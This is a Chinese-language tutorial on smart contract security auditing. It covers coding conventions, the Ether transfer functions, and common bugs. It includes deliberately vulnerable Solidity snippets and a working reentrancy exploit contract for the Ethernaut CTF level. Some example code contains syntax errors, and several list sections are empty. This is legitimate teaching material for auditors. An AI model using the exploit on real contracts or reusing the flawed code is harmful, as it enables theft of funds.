智能合约是区块链技术的重要组成部分,它能够自动执行代码并将结果写入区块链以实现各种业务场景,然而由于智能合约本质上是代码,因此也存在着相应的安全风险,如果智能合约存在漏洞,黑客就有可能利用这些漏洞进行攻击,导致资产损失甚至系统崩溃,因此对智能合约进行安全审计是至关重要的,本文将概述智能合约安全审计技术的相关知识为读者带来更深入的了解
智能合约是一种基于区块链技术的自动化合约,它可以在没有第三方干预的情况下自动执行合约条款并将结果记录在区块链上。智能合约可以被编程,以便在满足特定条件时触发执行,这使其成为一种透明、安全和高效的解决方案,可以用于各种场景,例如:数字货币交易、房地产交易、保险索赔等。智能合约的执行结果是不可逆的,这意味着一旦合约被执行它就无法被修改或撤回,智能合约的编写需要一定的技术知识和经验,但它可以帮助人们实现更加公正、透明和高效的交易。
智能合约常见的应用主要包括以下几种:
A、代币合约:
智能合约中的代币合约主要有两种类型——ERC-20和ERC-721
B、DEFI合约
智能合约中的DeFi合约主要有以下几种类型:
C、稳定币合约
D、游戏类合约
智能合约中的常见的游戏合约可以分为以下几种类型:
下面是一个简单的贷款合约代码,该合约实现了一个简单的贷款合同,包括借款人地址、贷款人地址、贷款金额、利率、贷款期限、开始日期、结束日期和贷款是否被批准的变量,它还包括两个函数:approveLoan()和repayLoan(),其中approveLoan()用于批准贷款,只有贷款人可以调用,repayLoan()用于还款,只有借款人可以调用,当然正式场景下借贷类型的智能合约业务功能会更加繁多、功能设计会更加复杂,例如:利息计算、资产清算等等
pragma solidity ^0.8.0;
contract Loan {
address public borrower; // 借款人的地址
address public lender; // 贷款人的地址
uint public loanAmount; // 贷款金额
uint public interestRate; // 利率
uint public loanDuration; // 贷款期限
uint public startDate; // 贷款开始日期
uint public endDate; // 贷款结束日期
bool public loanApproved; // 判断贷款是否已经批准
constructor(
address _borrower,
address _lender,
uint _loanAmount,
uint _interestRate,
uint _loanDuration
) {
borrower = _borrower;
lender = _lender;
loanAmount = _loanAmount;
interestRate = _interestRate;
loanDuration = _loanDuration;
startDate = block.timestamp;
endDate = startDate + (loanDuration * 1 days);
loanApproved = false;
}
function approveLoan() public {
require(msg.sender == lender, "Only lender can approve loan.");
require(!loanApproved, "Loan has already been approved.");
loanApproved = true;
}
function repayLoan() public payable {
require(msg.sender == borrower, "Only borrower can repay loan.");
require(loanApproved, "Loan has not been approved yet.");
require(block.timestamp <= endDate, "Loan has already expired.");
require(msg.value == loanAmount, "Incorrect repayment amount.");
payable(lender).transfer(msg.value);
}
......
}
智能合约的审计维度主要包含编码规范、编码设计、业务设计三个维度,下面逐一进行详细介绍:
智能合约支持Solidity、Vyper、C++、Python、Rust、Move等编程语言进行合约开发,每种编程语言都有各自的编码规范,在开发过程中应该严格遵循开发语言编码规范来规避业务功能设计缺陷等安全问题,下面是一些常见的基础安全项检查:
智能合约编译器是将高级编程语言转换为区块链可执行代码的工具,由于智能合约是在区块链上执行的,因此编译器的安全性至关重要,如果编译器存在漏洞,那么可能会导致存在缺陷的代码被部署在区块链上,从而导致严重的后果,因此在智能合约开发之初就应该确定合约开发中所使用的编译器版本,不能一个使用最新的编译器版本,一个使用上古时代的编译器版本,一个是可能会因为编译器版本跨幅度较大带来的同一编码不同解析的问题,另一个是编译器过旧导致的历史安全漏洞风险,这里以solidity编译器为例给出一个详细的关于编译器各个版本的安全问题列表:
https://github.com/ethereum/solidity/blob/develop/docs/bugs_by_version.json
Solidity中的<address>.transfer()、<address>.send()、<address>.gas().call.vale()()函数都可以用于向某一地址发送ether,其差别如下:
a、transfer转账
transfer函数是最常用的转账函数,它的作用是将合约中的以太币或代币转移到指定的地址,如果转账失败该函数将抛出异常并回滚所有更改,其语法如下:
function transfer(address payable recipient, uint256 amount) public returns (bool)
其中recipient是接收方的地址,amount是要转移的金额,函数返回值为bool类型,表示转账是否成功,需要注意的是transfer函数的gas消耗为2300 units且这个消耗是固定的,无论转移的金额是多少都不会变更,如果转移的金额超过了合约的余额,那么转账会失败并且所有更改都将被回滚,以下是一个示例代码
pragma solidity ^0.8.0;
contract TransferExample {
function transferEther(address payable recipient, uint256 amount) public {
require(address(this).balance >= amount, "Insufficient balance")
recipient.transfer(amount);
}
}
b、send函数转账
send函数是一种更低级的转账函数,它与transfer函数不同,send函数不会抛出异常,而是返回一个布尔值来表示转账是否成功,如果转账失败,函数将返回false并且不会回滚任何更改,其语法如下:
function send(address payable recipient, uint256 amount) public returns (bool)
send函数与transfer函数类似,recipient是接收方的地址,amount是要转移的金额,函数返回值为bool类型,表示转账是否成功,send函数的gas消耗为2300 units,这个消耗也是固定的,无论转移的金额是多少,如果转移的金额超过了合约的余额,转账会失败,但是所有更改不会被回滚,以下是一个示例代码:
pragma solidity ^0.8.0;
contract SendExample {
function sendEther(address payable recipient, uint256 amount) public returns (bool) {
require(address(this).balance >= amount, "Insufficient balance")
return recipient.send(amount);
}
}
c、call函数转账
call函数是最灵活的转账函数,它可以用于调用任何合约函数并且可以传递任何数量的以太币或代币,如果调用失败,该函数将返回false并且不会回滚任何更改,其语法如下
function call(address payable recipient, uint256 amount, bytes memory data) public returns (bool, bytes memory)
其中recipient是接收方的地址,amount是要转移的金额,data是要调用的函数的ABI编码,函数返回值为一个元组,其中第一个元素表示调用是否成功,第二个元素是一个bytes类型的返回值,call函数的gas消耗取决于调用的函数和传递的参数,如果调用的函数需要执行复杂的计算或存储操作,gas消耗会相应增加,以下是一个示例代码:
pragma solidity ^0.8.0;
contract CallExample {
function callContract(address payable recipient, uint256 amount, bytes memory data) public returns (bool, bytes memory) {
require(address(this).balance >= amount, "Insufficient balance" return recipient.call{value: amount}(data);
}
}
综上所述,transfer()、send()、call.value()等转账函数在向某一地址发送Ether时的主要区别如下:
这里的"函数返回值校验"指的就是由于没有检查send和call.value转币函数的返回值从而导致合约会继续执行后续代码,还可能由于Ether发送失败而导致意外的结果,例如下面是一个通过withdraw函数进行提现的合约,其中使用了send函数来进行转账操作,但是由于send函数在转账失败时并不会抛出异常,也不会阻止函数继续执行,因此如果用户在进行体现时如果填入了一个错误的地址,那么将会导致用户当前所持资产数量减少,而接受代币的地址所持资产数量不变,白白损失资产
function withdraw(uint amount) public {
require(balance[msg.sender] >= amount);
msg.sender.send(amount); // 存在安全风险
balance[msg.sender] -= amount;
}
智能合约初期合约名称和构造函数名称一致,如果构造函数名称和合约名称不一致将导致其变为一个public的函数被任意用户调用,例如:大小写不相同、构造函数后面加s等,下面是一个简单的示例,如果不注意看你会很难发现构造函数名称和合约名称不同,这里的合约部署之后原先设计的构造函数"MyTokens"将变更为一个公共函数,任意用户可以通过调用该函数对合约进行多次初始化操作
pragma solidity ^0.4.0;
contract MyToken {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
event Transfer(address indexed from, address indexed to, uint256 value);
function MyTokens(uint256 initialSupply, string memory tokenName, string memory tokenSymbol, uint8 decimalUnits) {
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
}
智能合约中的event是合约中定义的事件,用于记录合约中的重要操作和状态变化,定义event的格式如下:
event EventName(arg1Type arg1, arg2Type arg2, ...);
其中EventName为事件名称,arg1Type、arg2Type等为事件参数的类型,事件参数可以是任何Solidity支持的数据类型,包括基本数据类型、结构体、枚举等,例如:定义一个名为"Deposit"的事件,用于记录用户的存款操作:
event Deposit(address indexed user, uint256 amount);
智能合约中的emit是合约中触发事件的关键字,用于在合约中调用事件并传递相应的参数,emit的格式如下:
emit EventName(arg1, arg2, ...);
其中EventName为事件名称,arg1、arg2等为事件参数的值,例如:在合约中调用"Deposit"事件并传递相应的参数
function deposit() public payable {
emit Deposit(msg.sender, msg.value);
// 进行存款操作
}
在上述代码中,当用户进行存款操作时会调用"Deposit"事件并将用户地址和存款金额作为参数传递给该事件,event和emit在智能合约的开发中具有非常重要的作用,它们可以用于记录合约中的重要操作和状态变化,帮助开发者实现合约的逻辑和功能,例如:在ERC20代币合约中就可以使用event和emit来记录代币的转移操作和余额变化情况,如果出现资产被盗等情况可以快速根据记录进行攻击分析
在智能合约中地址非零检查通常是指检查一个地址是否为空地址(即0x0000000000000000000000000000000000000000),因为空地址在以太坊网络中无法被识别也无法接收或发送任何代币和以太币,以下是一个示例代码,用于在Solidity中检查地址是否为空地址
function checkAddress(address _addr) public view returns(bool) {
return (_addr != address(0));
}
在这个示例中我们定义了一个名为checkAddress的函数,该函数接受一个地址类型的参数并返回一个布尔值,函数使用比较运算符(!=)来检查传递的地址是否等于零地址,如果地址不等于零地址,则返回true,否则返回false,我们也可以在其他函数中调用checkAddress函数来确保传递的地址不是零地址,例如
function transfer(address _to, uint _amount) public {
require(checkAddress(_to));
//执行转账操作
}
通过这种方式在智能合约中进行地址非零检查可以帮助我们避免因为传递了无效的地址而导致的错误和安全问题
DASP Top 10归纳了智能合约常见的安全漏洞,智能合约开发人员在开发合约之前可以先研习智能合约安全漏洞以规避在开发合约时出现安全漏洞,合约审计人员可根据DASP Top 10对智能合约已有安全漏洞进行快速审计检查(下面的有做进一步的补充和扩展):
由于数量过多这里不进行逐一介绍,仅以Ethernaut闯关游戏中的一个重入案例为例作为演示说明,合约代码如下:
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
在这里我们重点来看withdraw函数,我们可以看到它接收了一个_amount参数,将其与发送者的balance进行比较,不超过发送者的balance就将这些_amount发送给sender,同时我们注意到这里它用来发送ether的函数是call.value,发送完成后,它才在下面更新了sender的balances,这里就是可重入攻击的关键所在了,因为该函数在发送ether后才更新余额,所以我们可以想办法让它卡在call.value这里不断给我们发送ether,同样利用的是我们熟悉的fallback函数来实现,当然这里还有另外一个关键的地方——call.value函数特性,当我们使用call.value()来调用代码时,执行的代码会被赋予账户所有可用的gas,这样就能保证我们的fallback函数能被顺利执行,对应的如果我们使用transfer和send函数来发送时,代码可用的gas仅有2300而已,这点gas可能仅仅只够捕获一个event,所以也将无法进行可重入攻击,因为send本来就是transfer的底层实现,所以他两性质也差不多
根据上面的简易分析,我们可以编写一下EXP代码:
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to]+msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
contract ReentrancePoc {
Reentrance reInstance;
function getEther() public {
msg.sender.transfer(address(this).balance);
}
function ReentrancePoc(address _addr) public{
reInstance = Reentrance(_addr);
}
function callDonate() public payable{
reInstance.donate.value(msg.value)(this);
}
function attack() public {
reInstance.withdraw(1 ether);
}
function() public payable {
if(address(reInstance).balance >= 1 ether){
reInstance.withdraw(1 ether);
}
}
}
下面进行攻击操作,首先点击"Get new Instance"来获取一个实例:
之后获取instance合约的地址
之后在remix中部署攻击合约
我们需要在受攻击的合约里给我们的攻击合约地址增加一些balance以完成withdraw第一步的检查:
contract.donate.sendTransaction("0xeE59e9DC270A52477d414f0613dAfa678Def4b02",{value: toWei(1)})
这样就成功给我们的攻击合约的balance增加了1 ether,这里的sendTransaction跟web3标准下的用法是一样的,这时你再使用getbalance去看合约拥有的eth就会发现变成了2,说明它本来上面存了1个eth,然后我们返回攻击合约运行attack函数就可以完成攻击了:
查看balance,在交易前后的变化:
业务逻辑设计是智能合约的核心所在,开发人员在使用编程语言开发合约业务逻辑功能时应当充分考虑对应业务的各个方面,不同智能合约有不同的业务需求,不同的业务需求对应不同的业务功能设计,业务设计作为智能合约中具体的业务功能的落地实现,需要从多维度进行考量各种可能出现的情况,这里不做深究,仅简单列举几项:
智能合约开发语言选择需要考虑以下几个方面:
目前比较常用的智能合约开发语言有Solidity、Vyper、Rust、C++、Move等,用户在开发智能合约时需要根据实际情况选择合适的语言
智能合约编译器是一种将源代码转换为可在区块链上执行的字节码的程序,智能合约编译器通常与区块链平台集成,例如:以太坊、EOS等。智能合约编译器可用于编译各种编程语言,例如:Solidity、C++、Python等。在编译过程中编译器会检查代码的语法和语义并生成可在区块链上执行的字节码,智能合约编译器的主要作用是提高智能合约的安全性和可靠性,从而使其更适合于金融、医疗、物流等领域的应用,在进行智能合约开发时我们也需要按需选择智能合约编译器版本,主要考虑的点有以下几个方面(以Solidity为例):
智能合约开发之前需要研发人员充分解读并了解智能合约开发的需求说明文档,并对文档中涉及的各个业务功能模块进行深度分析,例如:什么情况下可以铸币、什么情况下可以销毁代币、什么条件下可以进行提现、什么条件下可以调用授权转账函数进行转账、质押逻辑如何设计、什么时候开始游戏、什么时候进行分红、分红比例如何设计、那些人员可以分红、分红的层级如何设计、邀请奖励如何设计等等,不同类型的智能合约有不同的业务需求和不同的业务场景,具体按需进行设计即可,在设计时多维度考量各类可能性、各类边界、各类安全问题即可
智能合约业务功能测试的着重点在于合约中各个业务逻辑设计的正确性和可靠性,测试的方法包括黑盒测试和白盒测试。黑盒测试是指测试人员不知道智能合约的实现细节,只测试其功能是否符合预期,白盒测试则是指测试人员了解智能合约的实现细节,测试其逻辑是否正确、代码是否规范、是否存在漏洞等,在测试时需要保障测试用例足够的多,场景覆盖面充分以及合约代码的覆盖率
智能合约在正式上线之前建议先寻找可靠的、可信任的第三方区块链智能合约安全审计公司对合约的安全性进行安全审计评估,在初次审计完成后需要对合约中存在的安全漏洞进行修复调整,同时在修复后还需要请安全审计公司再次进行安全审计来检查漏洞修复是否有效可行,同时也建议项目方在进行安全审计的时候可以邀请2-3家安全审计公司进行审计来实现对合约安全的多重安全保障
智能合约安全审计是区块链应用开发过程中不可或缺的一环,其目的是发现和修复合约中可能存在的漏洞和安全隐患,从而保障区块链应用的安全和稳定性。目前智能合约安全审计技术已经取得了一定的进展,但仍需要不断地进行研究和探索以应对日益复杂的区块链安全威胁,相信在未来,随着技术的不断进步和完善,智能合约安全审计将成为区块链应用开发的必要步骤,为区块链技术的发展提供重要的保障